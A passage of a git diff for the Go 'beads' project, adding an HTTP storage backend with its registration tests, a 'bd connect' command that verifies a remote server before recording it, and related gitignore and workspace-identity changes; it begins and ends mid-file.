TestRegisterPutsHTTPInTheRegistryAnEmbedderSees(t *testing.T) { + hermeticEnv(t) + if backend.Registered(backendName) { + t.Fatalf("%q was already registered before Register was called: linking this package must not register", backendName) + } + + registerForTest(t, bdhttp.Options{}) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatalf("Lookup(%q) found nothing after Register", backendName) + } + if registered.Open == nil { + t.Error("registered http backend has no read-write Open") + } + if registered.OpenReadOnly == nil { + t.Error("registered http backend has no read-only Open") + } + if !registered.WorkspaceIsBeadsDir { + t.Error("an http workspace is the .beads directory alone; there is no local database to discover") + } + if !registered.Remote { + t.Error("the http backend is a pure network client with no local database; Remote must be set") + } + if registered.OpenWith == nil { + t.Error("registered http backend has no per-open OpenWith seam") + } + if !backend.WorkspaceIsBeadsDir(backendName) { + t.Error("backend.WorkspaceIsBeadsDir disagrees with the registration") + } + if !backend.IsRemote(backendName) { + t.Error("backend.IsRemote disagrees with the registration") + } +} + +// TestRegisterTwicePanics pins the decision not to make this idempotent. A +// second call is a double-wired process start, and the registry's panic is +// the only place that ever says so. +func TestRegisterTwicePanics(t *testing.T) { + hermeticEnv(t) + registerForTest(t, bdhttp.Options{}) + + if !panics(func() { bdhttp.Register(bdhttp.Options{}) }) { + t.Fatal("a second Register returned instead of panicking: duplicate process-start wiring must not be absorbed") + } + if !backend.Registered(backendName) { + t.Fatalf("the refused duplicate took %q out of the registry", backendName) + } +} + +// TestRegisterInstallsTheTransport is the whole reason Register takes +// Options: registration alone leaves the store's package-level dialer nil, +// and every open then fails with httpclient.ErrNoTransport — a two-step an +// embedder cannot complete, because the second step is an internal function. +func TestRegisterInstallsTheTransport(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + + store := openWorkspace(t, connectedWorkspace(t, server)) + got, err := store.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata over the registered backend: %v", err) + } + if got != projectID { + t.Errorf("project id = %q, want %q: the store never reached the server", got, projectID) + } +} + +// TestOpenWithHonorsAProvidedCredential pins the per-tenant seam Register +// installs: a caller that supplies backends.OpenOptions.Credential (wrapped +// in bdhttp.ProvidedCredential) reaches the server with THAT credential, not +// the ambient ladder, even though the registered backend was built with no +// credential of its own. +func TestOpenWithHonorsAProvidedCredential(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + beadsDir := connectedWorkspace(t, server) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + provider := &recordingProvider{token: "per-tenant-token"} + store, err := registered.OpenWith(context.Background(), beadsDir, backends.OpenOptions{ + Credential: bdhttp.ProvidedCredential{Provider: provider}, + }) + if err != nil { + t.Fatalf("OpenWith: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer per-tenant-token") +} + +// TestOpenWithFallsBackToTheAmbientLadderByDefault pins the single-tenant +// default: a registered open with no Credential still authorizes, through +// the same built-in bearer ladder Open/OpenReadOnly use — RequireCredential +// is what opts OUT of this, not the zero value. +func TestOpenWithFallsBackToTheAmbientLadderByDefault(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=ambient-token") + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + beadsDir := connectedWorkspace(t, server) + + store := openWorkspace(t, beadsDir) + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer ambient-token") +} + +// TestRequireCredentialRefusesAnOpenWithNone is the fail-closed half: a +// multi-tenant embedder that sets RequireCredential must never have a +// workspace silently fall back to whatever the ambient process environment +// happens to hold, because that environment belongs to no one tenant. +func TestRequireCredentialRefusesAnOpenWithNone(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client(), RequireCredential: true}) + beadsDir := connectedWorkspace(t, server) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + _, err := registered.OpenWith(context.Background(), beadsDir, backends.OpenOptions{}) + if err == nil { + t.Fatal("OpenWith with RequireCredential and no Credential succeeded; want a refusal") + } + server.wantNoRequests(t) +} + +func panics(fn func()) (panicked bool) { + defer func() { panicked = recover() != nil }() + fn() + return false +} + +// registerForTest wires the backend for one test and gives the process-global +// registry back afterwards, the isolation seam backend.Deregister exists for. +func registerForTest(t *testing.T, opts bdhttp.Options) { + t.Helper() + bdhttp.Register(opts) + t.Cleanup(func() { backend.Deregister(backendName) }) +} + +// connectedWorkspace is a .beads directory attached to server, as `bd +// connect` would leave it. +func connectedWorkspace(t *testing.T, server *recordingServer) string { + t.Helper() + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("create workspace: %v", err) + } + if err := bdhttp.SaveTarget(beadsDir, server.target(t)); err != nil { + t.Fatalf("save the activation sidecar: %v", err) + } + return beadsDir +} + +// openWorkspace opens beadsDir through the REGISTERED backend rather than +// through this package's own Open, so what it exercises is the dialer +// Register installed. +func openWorkspace(t *testing.T, beadsDir string) backend.DoltStorage { + t.Helper() + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + store, err := registered.Open(context.Background(), beadsDir) + if err != nil { + t.Fatalf("open the connected workspace: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + return store +} + +// hermeticEnv takes the process environment out of the credential decision. +// Every rung of the built-in ladder is read from the environment at dial +// time, so a developer machine that exports one would otherwise change which +// source a test exercises. +func hermeticEnv(t *testing.T) { + t.Helper() + t.Setenv(bdhttp.TokenEnv, "") + t.Setenv(bdhttp.TokenCommandEnv, "") +} + +// recordingProvider is a CredentialProvider that signs with a fixed token. +type recordingProvider struct { + token string + + mu sync.Mutex + calls int +} + +func (p *recordingProvider) Authorize(_ context.Context, req *http.Request) error { + p.mu.Lock() + p.calls++ + p.mu.Unlock() + req.Header.Set("Authorization", "Bearer "+p.token) + return nil +} + +func (p *recordingProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// recordingServer is a bd serve stand-in that answers the v0 handshake and +// records what each request carried in its Authorization header. +type recordingServer struct { + *httptest.Server + + mu sync.Mutex + auths []string +} + +func newRecordingServer(t *testing.T) *recordingServer { + t.Helper() + s := &recordingServer{} + s.Server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.mu.Lock() + s.auths = append(s.auths, r.Header.Get("Authorization")) + s.mu.Unlock() + if r.URL.Path != "/v0/beads/context" { + http.NotFound(w, r) + return + } + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"api_version":"v0","backend":"dolt","bd_version":"9.9.9",` + + `"beads_dir":"/srv/.beads","capabilities":["issues.get","issues.list"],` + + `"database":"beads","dolt_mode":"server","project_id":"` + projectID + `","repo_root":"/srv",` + + `"schema_version":1,"wire_revision":1,"min_client_wire_revision":1}`)) + })) + t.Cleanup(s.Server.Close) + return s +} + +func (s *recordingServer) target(t *testing.T) bdhttp.Target { + t.Helper() + base, err := url.Parse(s.URL) + if err != nil { + t.Fatalf("parse the test server URL: %v", err) + } + return bdhttp.Target{BaseURL: base, ExpectProjectID: projectID} +} + +// wantAuthorization asserts that every request the server saw carried want. +// It is every request rather than any request because a credential that +// reaches only some of them is the same defect as one that reaches none. +func (s *recordingServer) wantAuthorization(t *testing.T, want string) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) == 0 { + t.Fatal("the server saw no requests at all") + } + for i, got := range s.auths { + if got != want { + t.Errorf("request %d carried Authorization %q, want %q", i, got, want) + } + } +} + +// wantNoRequests is the fail-closed half: a refusal that still dialed would +// have sent whatever credential it fell back to, which is the outcome being +// refused. +func (s *recordingServer) wantNoRequests(t *testing.T) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) != 0 { + t.Errorf("the server saw %d requests, want none: the dial was supposed to fail closed", len(s.auths)) + } +} diff --git a/backend/http/target.go b/backend/http/target.go new file mode 100644 index 000000000..ab6ee2917 --- /dev/null +++ b/backend/http/target.go @@ -0,0 +1,41 @@ +package bdhttp + +import "github.com/steveyegge/beads/internal/httpclient" + +// Target is the resolved endpoint for one workspace: the server's mount root +// and, optionally, the workspace identity pinned when it was connected. A +// pinned id is compared against the server's own at every handshake, which is +// what turns "some server answered" into "the server that owns this workspace +// answered". +type Target = httpclient.Target + +// TargetFileName is the per-user, untracked activation sidecar that names the +// server a workspace is attached to. metadata.json is git-tracked by design +// and selects the backend; the URL and the identity pin are per-user state +// and live beside it. +const TargetFileName = httpclient.TargetFileName + +// ErrNotConnected reports a workspace that selects this backend but has no +// activation sidecar, so there is no server to dial. It is what an Open +// through the registry returns for a workspace nobody ran `bd connect` in. +var ErrNotConnected = httpclient.ErrNotConnected + +// TargetPath is the sidecar's location for a workspace, given its .beads +// directory. +func TargetPath(beadsDir string) string { return httpclient.TargetPath(beadsDir) } + +// LoadTarget reads the activation sidecar. A missing one is ErrNotConnected +// rather than a zero Target: an http workspace with no target cannot be +// opened at all. +func LoadTarget(beadsDir string) (Target, error) { return httpclient.LoadTarget(beadsDir) } + +// SaveTarget writes the sidecar 0600, beside metadata.json. It is the encoder +// `bd connect` uses; the connect UX around it — gitignore coverage, identity +// verification, conversion consent — is the CLI's, so an embedder that writes +// a workspace this way owns those decisions itself. +func SaveTarget(beadsDir string, t Target) error { return httpclient.SaveTarget(beadsDir, t) } + +// RemoveTarget deletes the activation sidecar, reporting whether one was +// there. Detaching is a per-user act, so it never touches the tracked +// metadata.json that selects the backend. +func RemoveTarget(beadsDir string) (bool, error) { return httpclient.RemoveTarget(beadsDir) } diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index eb8aa6cd2..b6cca03ee 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -62,6 +62,7 @@ go_library( "config_show.go", "config_side_effects.go", "conflicts.go", + "connect.go", "context.go", "context_cmd.go", "context_proxied_server.go", @@ -157,6 +158,7 @@ go_library( "history.go", "history_proxied_server.go", "hooks.go", + "http_backend.go", "human.go", "human_proxied_server.go", "if_revision.go", @@ -366,6 +368,7 @@ go_library( visibility = ["//visibility:private"], deps = [ "//:beads", + "//backend/http", "//cmd/bd/doctor", "//cmd/bd/doctor/fix", "//cmd/bd/setup", @@ -392,6 +395,7 @@ go_library( "//internal/gitlab", "//internal/hooks", "//internal/httpapi", + "//internal/httpclient", "//internal/jira", "//internal/linear", "//internal/lockfile", @@ -493,6 +497,7 @@ go_binary( embed = [":bd_lib"], race = "off", visibility = [ + "//backend/http:__pkg__", "//cmd/bd:__subpackages__", "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index de387c97e..1ac36eca9 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -511,7 +511,7 @@ var proxyPermittedPaths = []string{ // workspace lifecycle and configuration "bootstrap", "config apply", "config drift", "config get", "config list", "config set", - "config set-many", "config show", "config unset", "config validate", "context", + "config set-many", "config show", "config unset", "config validate", "connect", "context", "init", "init-safety", "onboard", "preflight", "quickstart", "schema", "setup", "where", "version", "worktree create", "worktree info", "worktree list", "worktree remove", diff --git a/cmd/bd/connect.go b/cmd/bd/connect.go new file mode 100644 index 000000000..29f369998 --- /dev/null +++ b/cmd/bd/connect.go @@ -0,0 +1,324 @@ +package main + +import ( + "context" + "errors" + "fmt" + "net/url" + "os" + "path/filepath" + + "github.com/spf13/cobra" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/cmd/bd/doctor" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/metrics" +) + +// Written fresh for OSS beads S6 (no bd-enterprise source copied): richer +// connect flows (interactive login, server discovery, storage-profile +// prompts) are explicitly out of scope for this lift (see DESIGN.txt sec +// 3.1). This is the minimal OSS connect DESIGN.txt asks for: verify a +// server, then record it. + +var ( + connectExpectProjectID string + connectCAFile string + connectForce bool + connectAllowPlaintext bool + connectClear bool +) + +var connectCmd = &cobra.Command{ + Use: "connect [url]", + GroupID: "setup", + Short: "Attach this workspace to a remote bd serve over HTTP", + Long: `Attach this workspace to a remote bd serve over HTTP. + +bd connect verifies the server first (a handshake: api_version, wire +revision, and — when --expect-project-id is given — workspace identity) and +writes nothing until that succeeds. On success it writes the per-user +activation sidecar (.beads/http_target.json, never git-tracked) and sets this +workspace's metadata.json to backend "http". + +A credential, if the server requires one, is never read from a flag or +recorded on disk by this command. It comes from the same ladder every http +request does: the BEADS_HTTP_TOKEN environment variable, then +BEADS_HTTP_TOKEN_COMMAND (a helper that prints a token), then the credentials +file's [host:port] section, then no credential at all — which the tip OSS +server's loopback-trust posture answers legitimately, not as a failure. Both +variables name the server they are for, host[:port]=value (for example +BEADS_HTTP_TOKEN=bd.example.com=); a bare value is refused, since it +would be sent to whatever server the workspace's http_target.json names. + +--allow-plaintext IS recorded on disk, in the sidecar alongside the server +url: once granted here, a credential may cross this one server in the clear +on every later command too, not only this one, without re-passing the flag +or setting BEADS_HTTP_ALLOW_INSECURE=1 yourself. A later connect to a +DIFFERENT url starts that grant over; it is never carried forward to a +server it was not given for. + +Examples: + bd connect http://127.0.0.1:8080 # loopback, no TLS needed + bd connect https://bd.example.com --expect-project-id p1 # pin workspace identity + bd connect https://bd.example.com --ca-file ./ca.pem # trust only this CA + bd connect --clear # forget the server, restoring the previous backend +`, + Args: cobra.MaximumNArgs(1), + SilenceUsage: true, + SilenceErrors: true, + // connect is how an http workspace gets its FIRST local state: there is + // no local database to find yet (none ever exists for this backend), so + // it opts out of PersistentPreRunE's store init the same way doctor, + // schema and worktree do, via skipStoreAnnotation rather than editing + // the central noDbCommands list (see that annotation's own doc comment). + Annotations: map[string]string{skipStoreAnnotation: "1"}, + RunE: func(cmd *cobra.Command, args []string) error { + evt := metrics.NewCommandEvent("connect") + defer func() { + if c := metrics.Global(); c != nil { + c.CloseEventAndAdd(evt) + } + }() + + // connect, like init, is how a workspace gets its FIRST local state: + // there may be no .beads directory yet anywhere above the CWD, so + // this resolves the same way init's own target does (BEADS_DIR, then + // the worktree fallback, then CWD/.beads) rather than + // beads.GetRepoContextAllowingNoGit(), which answers "no .beads + // directory found" with a hard error because every OTHER caller of + // it (bd context, the proxied context route) is read-only and has + // nothing to create. + beadsDir := resolveInitBeadsDir() + if beadsDir == "" { + return HandleError("cannot resolve a workspace directory for connect (set BEADS_DIR, or run from inside a writable directory)") + } + + if connectClear { + if len(args) != 0 { + return HandleError("connect --clear takes no url argument") + } + // Read the sidecar's PreviousBackend BEFORE removing it: it is + // the backend metadata.json selected right before this + // workspace connected (bee-ghosttrack CHANGES_REQUESTED on + // #7288, should-fix 1). A missing sidecar (ErrNotConnected) or + // any other read failure just means there is nothing to + // restore, matching the "nothing was configured" case below. + priorTarget, loadErr := httpclient.LoadTarget(beadsDir) + removed, err := httpclient.RemoveTarget(beadsDir) + if err != nil { + return HandleError("clearing %s: %v", httpclient.TargetFileName, err) + } + restoredBackend := "" + if removed && loadErr == nil && priorTarget.PreviousBackend != "" { + if cfg, cfgErr := configfile.Load(beadsDir); cfgErr == nil && cfg != nil && cfg.GetBackend() == httpclient.Backend { + cfg.Backend = priorTarget.PreviousBackend + if saveErr := cfg.Save(beadsDir); saveErr == nil { + restoredBackend = priorTarget.PreviousBackend + } + // A save failure is not fatal to --clear: the sidecar is + // already gone (or never existed), which is the part + // that actually detaches the workspace from the + // server; metadata.json just keeps saying "http" and + // the manual fallback message below still applies. + } + } + if jsonOutput { + return outputJSON(map[string]any{"cleared": removed, "restored_backend": restoredBackend}) + } + switch { + case restoredBackend != "": + fmt.Printf("Removed %s and restored this workspace's backend selection in metadata.json to %q.\n", httpclient.TargetFileName, restoredBackend) + case removed: + // Not `bd config set backend ...`: that writes the database's + // own config table, never metadata.json, and must first open + // the very store this workspace can no longer reach. + fmt.Printf("Removed %s. This workspace's backend selection in metadata.json is unchanged; run `bd connect ` to reconnect, or set \"backend\" in %s to pick a different backend.\n", httpclient.TargetFileName, filepath.Join(beadsDir, configfile.ConfigFileName)) + default: + fmt.Println("No http target was configured; nothing to clear.") + } + return nil + } + + if len(args) != 1 { + return HandleError("connect requires a argument (or --clear)") + } + rawURL := args[0] + + parsed, err := url.Parse(rawURL) + if err != nil || parsed.Host == "" { + // A parse failure has no *url.URL to redact, so there is nothing + // safer to print than the raw argument; a parse that succeeded + // but found no host (e.g. "http://user:pass@/path") does have + // one, and .Redacted() strips its userinfo before this message + // repeats it. + if err != nil { + return HandleError("invalid url %q", rawURL) + } + return HandleError("invalid url %q", parsed.Redacted()) + } + // redactedURL is what every print/wrap of the connect target uses from + // here on: rawURL is the user's literal argument, which — unlike + // parsed.Redacted() — still carries a userinfo password verbatim + // (http://user:pass@host/...) if one was pasted into the URL. Nothing + // past this point should format rawURL again. + redactedURL := parsed.Redacted() + if parsed.Scheme != "http" && parsed.Scheme != "https" { + return HandleError("url %q must use http or https, got %q", redactedURL, parsed.Scheme) + } + // L1 (host safety, functional requirement 1): a bearer credential sent + // in the clear to anything but loopback is a token leaked to every + // network hop between here and the server. Refuse by default; require + // an explicit opt-in rather than a warning nobody reads at connect + // time, since connect time is the one moment a human is looking. + if parsed.Scheme == "http" && !configfile.IsLocalHostString(parsed.Hostname()) && !connectAllowPlaintext { + return HandleError( + "refusing to connect to %s over plain http: %s is not loopback, and any bearer credential this workspace sends would cross the network unencrypted; use https://, or pass --allow-plaintext to connect anyway", + redactedURL, parsed.Hostname()) + } + + existing, err := configfile.Load(beadsDir) + if err != nil { + return HandleError("reading %s: %v", configfile.ConfigFileName, err) + } + if existing != nil { + if b := existing.GetBackend(); b != "" && b != httpclient.Backend && !connectForce { + return HandleError("this workspace already selects backend %q; pass --force to switch it to %q (existing local data, if any, is left in place but will no longer be used)", b, httpclient.Backend) + } + } + + // effectiveExpectedProjectID carries the PRIOR sidecar's pin forward + // into this run, so a bare re-connect (no --expect-project-id) to a + // DIFFERENT server still gets caught: without this, every connect + // built a brand-new Target starting from connectExpectProjectID alone + // (almost always "" on a re-run), which the "nothing was pinned yet" + // branch below would then adopt from whatever server just answered — + // silently re-pinning the workspace to a different project with no + // refusal at all. --force (regardless of --expect-project-id) drops + // the prior pin entirely and lets the new server's answer win, which + // is the explicit "I mean it" escape hatch this check otherwise has + // none of. + effectiveExpectedProjectID := connectExpectProjectID + if !connectForce { + priorTarget, loadErr := httpclient.LoadTarget(beadsDir) + if loadErr != nil && !errors.Is(loadErr, httpclient.ErrNotConnected) { + return HandleError("reading existing %s: %v", httpclient.TargetFileName, loadErr) + } + if loadErr == nil && priorTarget.ExpectProjectID != "" { + switch { + case effectiveExpectedProjectID == "": + effectiveExpectedProjectID = priorTarget.ExpectProjectID + case effectiveExpectedProjectID != priorTarget.ExpectProjectID: + return HandleError( + "this workspace is already connected to project %q; pass --force to re-pin it to %q, or pass --expect-project-id %q to confirm the existing pin", + priorTarget.ExpectProjectID, effectiveExpectedProjectID, priorTarget.ExpectProjectID) + } + } + } + + var caFile string + dialOpts := httpclient.DialOptions{ + UserAgent: "bd/" + Version + " " + httpclient.WireUserAgentSuffix, + // The L1 refusal above already gated this exact combination + // (plain http, non-loopback) on --allow-plaintext; carrying the + // flag through here keeps this command's own Handshake probe + // (which dials with the same ambient bearer ladder a credential + // might come from) from re-refusing what the flag already + // permitted. See DialOptions.AllowInsecureCredential. + AllowInsecureCredential: connectAllowPlaintext, + } + if connectCAFile != "" { + abs, err := filepath.Abs(connectCAFile) + if err != nil { + return HandleError("resolving --ca-file %q: %v", connectCAFile, err) + } + caFile = abs + // Verify against EXACTLY this file, bypassing BEADS_HTTP_CA_FILE + // entirely: a connect run with the env var set to a different CA + // must not verify against the env's CA while writing the flag's + // unverified one to the sidecar (see DialOptionsForFile's doc). + dialOpts, err = httpclient.DialOptionsForFile(caFile, dialOpts) + if err != nil { + return HandleError("--ca-file %q: %v", connectCAFile, err) + } + } + + target := httpclient.Target{BaseURL: parsed, ExpectProjectID: effectiveExpectedProjectID, CAFile: caFile, AllowInsecureCredential: connectAllowPlaintext} + + ctx := context.Background() + snapshot, err := httpclient.Handshake(ctx, target, dialOpts) + if err != nil { + return HandleError("connecting to %s: %v", redactedURL, err) + } + if target.ExpectProjectID == "" { + // Nothing was pinned (a genuine first connect, or --force + // dropped the prior pin above): record what the server said so + // this workspace is tied to THIS project from here on. + target.ExpectProjectID = snapshot.ProjectId + } else if target.ExpectProjectID != snapshot.ProjectId { + // effectiveExpectedProjectID is either an explicit + // --expect-project-id or the prior sidecar's pin carried + // forward above; either way the server disagrees, and --force + // was not given (the only way to reach this line with a + // mismatched prior pin AND --force would have cleared + // effectiveExpectedProjectID's carry-forward, not left it set). + return HandleError("server at %s owns project %q, not the pinned %q", redactedURL, snapshot.ProjectId, target.ExpectProjectID) + } + + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + return HandleError("creating %s: %v", beadsDir, err) + } + // A fresh .beads directory (the common case: this backend has no + // local database to have created one earlier) has no .gitignore yet. + // Ensure one before writing the sidecar, the same way bd init and + // doctor --fix do, so http_target.json (which carries a bearer + // credential's host and, soon, DialOptions) is never a candidate for + // `git add .` in the first commit after connect. + if err := doctor.EnsureGitignoreForBeadsDir(beadsDir); err != nil { + return HandleError("ensuring %s/.gitignore: %v", beadsDir, err) + } + // bdhttp.Attach writes both of this backend's files: the gitignored + // identity sidecar (SaveTarget — which server, which project; see + // NewFromConfig/NewReadOnlyFromConfig in internal/httpclient/store.go, + // which read identity from the sidecar alone, never from + // metadata.json) and metadata.json's backend SELECTION alone + // (git-tracked, the same file every clone of this repo shares). It + // leaves every other existing metadata.json field untouched — in + // particular cfg.Database/cfg.ProjectID, which belong to whatever + // backend this workspace selected before, and which a future + // `bd connect --clear` switching back to that backend (dolt) still + // needs intact. + if err := bdhttp.Attach(beadsDir, target); err != nil { + return HandleError("%v", err) + } + + if jsonOutput { + return outputJSON(map[string]any{ + "url": redactedURL, + "project_id": target.ExpectProjectID, + "bd_version": snapshot.BdVersion, + "api_version": snapshot.ApiVersion, + "wire_revision": snapshot.WireRevision, + "ca_file": caFile, + "capabilities": snapshot.Capabilities, + }) + } + fmt.Printf("Connected %s to %s\n", beadsDir, redactedURL) + fmt.Printf(" project: %s\n", target.ExpectProjectID) + fmt.Printf(" bd serve: %s (api %s, wire revision %d)\n", snapshot.BdVersion, snapshot.ApiVersion, snapshot.WireRevision) + if caFile != "" { + fmt.Printf(" ca_file: %s\n", caFile) + } + return nil + }, +} + +func init() { + connectCmd.Flags().StringVar(&connectExpectProjectID, "expect-project-id", "", "pin the workspace identity the server must present at every handshake") + connectCmd.Flags().StringVar(&connectCAFile, "ca-file", "", "trust ONLY this PEM file for this server (resolved and recorded as an absolute path)") + connectCmd.Flags().BoolVar(&connectForce, "force", false, "allow switching a workspace that already selects a different backend") + connectCmd.Flags().BoolVar(&connectAllowPlaintext, "allow-plaintext", false, "allow a plain http connection to a non-loopback host; remembered in the sidecar for every later command against this server") + connectCmd.Flags().BoolVar(&connectClear, "clear", false, "remove this workspace's http activation sidecar and restore its previous backend selection in metadata.json") + rootCmd.AddCommand(connectCmd) +} diff --git a/cmd/bd/context_cmd.go b/cmd/bd/context_cmd.go index 3353f7213..fa3bdf91f 100644 --- a/cmd/bd/context_cmd.go +++ b/cmd/bd/context_cmd.go @@ -7,6 +7,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/httpclient" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage/domain" ) @@ -135,7 +136,19 @@ Examples: // while each held its own copy of `Backend: configfile.BackendDolt`. func applyContextBackend(snapshot *domain.ContextInfo, beadsDir string, cfg *configfile.Config) error { snapshot.SetBackendIdentity(cfg.GetBackend(), cfg.GetDoltMode(), cfg.GetDoltDatabase()) - snapshot.ProjectID = cfg.ProjectID + if cfg.GetBackend() == httpclient.Backend { + // The http backend's identity lives in the per-user, gitignored + // sidecar (`bd connect`'s MED-6 fix stopped mirroring it into the + // git-tracked metadata.json), so `bd context` must read it from + // there too. A missing sidecar (ErrNotConnected) or any other read + // failure just leaves ProjectID empty rather than failing this + // otherwise-degraded-state-tolerant command. + if target, err := httpclient.LoadTarget(beadsDir); err == nil { + snapshot.ProjectID = target.ExpectProjectID + } + } else { + snapshot.ProjectID = cfg.ProjectID + } if cfg.IsDoltServerMode() { snapshot.ServerHost = cfg.GetDoltServerHost() diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index 88904836e..b4c48e8e6 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -41,8 +41,12 @@ push-state.json proxied_server_client_info.json -# http backend activation sidecar (per-user server URL and identity pin) +# HTTP backend activation sidecar and per-user local metadata (per-user state, +# never tracked — the server URL and any ca_file path are machine-specific, +# and the local metadata sidecar mirrors proxied_server_client_info.json's +# per-user precedent). Written by bd connect. http_target.json +http_local_metadata.json # Worktree redirect file (contains relative path to main repo's .beads/) # Must not be committed as paths would be wrong in other clones @@ -143,6 +147,7 @@ var requiredPatterns = []string{ ".beads-credential-key", "proxied_server_client_info.json", "http_target.json", + "http_local_metadata.json", ".local_version", "backup/", } diff --git a/cmd/bd/http_backend.go b/cmd/bd/http_backend.go new file mode 100644 index 000000000..afebccdbf --- /dev/null +++ b/cmd/bd/http_backend.go @@ -0,0 +1,16 @@ +package main + +import bdhttp "github.com/steveyegge/beads/backend/http" + +// Registering the http backend is a property of the bd distribution being +// built, not of the import graph (see bdhttp.Register's own doc comment): OSS +// ships `bd serve`, so OSS `bd` should be able to talk to it too, and this is +// the one production call site. A workspace whose metadata.json names any +// OTHER unregistered backend still hard-fails with the registry's +// UnknownBackendError, exactly as before this file existed — only "http" +// becomes selectable, and only because this file registers it. +func init() { + bdhttp.Register(bdhttp.Options{ + UserAgent: "bd/" + Version + " " + bdhttp.UserAgentSuffix, + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 901d461ee..1d3e4410c 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -30,6 +30,7 @@ import ( "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/doltserver" "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/httpclient" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/migration" "github.com/steveyegge/beads/internal/molecules" @@ -2757,6 +2758,28 @@ func validateWorkspaceIdentity(ctx context.Context, s storage.DoltStorage, beads return nil // No config, skip validation (fresh init) } configProjectID := cfg.ProjectID + if cfg.GetBackend() == httpclient.Backend { + // The http backend's identity pin lives in the per-user, gitignored + // sidecar, not in metadata.json: `bd connect` (MED-6) stopped + // mirroring project_id into the git-tracked config, so cfg.ProjectID + // here is whatever the workspace carried BEFORE connect — generally + // a different project's id than the server `bd connect --force` + // just pointed it at. Comparing that stale value against the live + // database's _project_id below would flag every write as drift. + // Read the sidecar instead, exactly as applyContextBackend + // (context_cmd.go) does for `bd context`. A missing sidecar + // (ErrNotConnected) or any other read failure falls through to the + // "no project_id" skip just below, the same as a pre-identity + // workspace — the wire handshake's own ExpectProjectID gate (design + // D6) is what actually refuses a mismatched server at dial time; + // this check only needs to avoid a FALSE mismatch once that gate has + // already passed. + target, err := httpclient.LoadTarget(beadsDir) + if err != nil { + return nil + } + configProjectID = target.ExpectProjectID + } if configProjectID == "" { return nil // No project_id in config (pre-identity era) } diff --git a/cmd/bd/storage_chain.go b/cmd/bd/storage_chain.go index 5ad976017..0c420d5c2 100644 --- a/cmd/bd/storage_chain.go +++ b/cmd/bd/storage_chain.go @@ -40,6 +40,17 @@ func wireStorageDecorators(store storage.DoltStorage, hookRunner *hooks.Runner, // wireExternalDependencyPolicy applies only the read/guard policy. Routed // stores must use this without inheriting the caller's hooks or telemetry. +// +// It ALWAYS wraps, including a registered Remote backend (design 3.6): a +// remote server that enforces this policy itself answers the decorator's +// storage.ExternalDependencyPolicyProber probe (implemented by +// httpclient.Store, keyed on the handshake's wire.CapExternalDependencies +// token) with true, so the decorator's own loadBlockingState is a cheap no-op +// for that server — but a server that does NOT advertise the capability must +// still get client-side enforcement, which requires wrapping it in the first +// place. Skipping the wrap here for every remote backend (the pre-S6-fix +// behavior) silently dropped the policy entirely against such a server; the +// capability-aware skip now lives inside the decorator, not at wrap time. func wireExternalDependencyPolicy(store storage.DoltStorage) storage.DoltStorage { if store == nil { return nil diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 9815c30b1..f00882cb5 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 205 refuse, 33 degrade, 26 retired. +264 rows: 204 refuse, 34 degrade, 26 retired. ## Whole-behavior divergences (D9 ledger) @@ -62,13 +62,13 @@ The L-rows the design's D9 table names: whole behaviors that differ over HTTP, e | L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(S3): a pre-run degradation, observable only through a 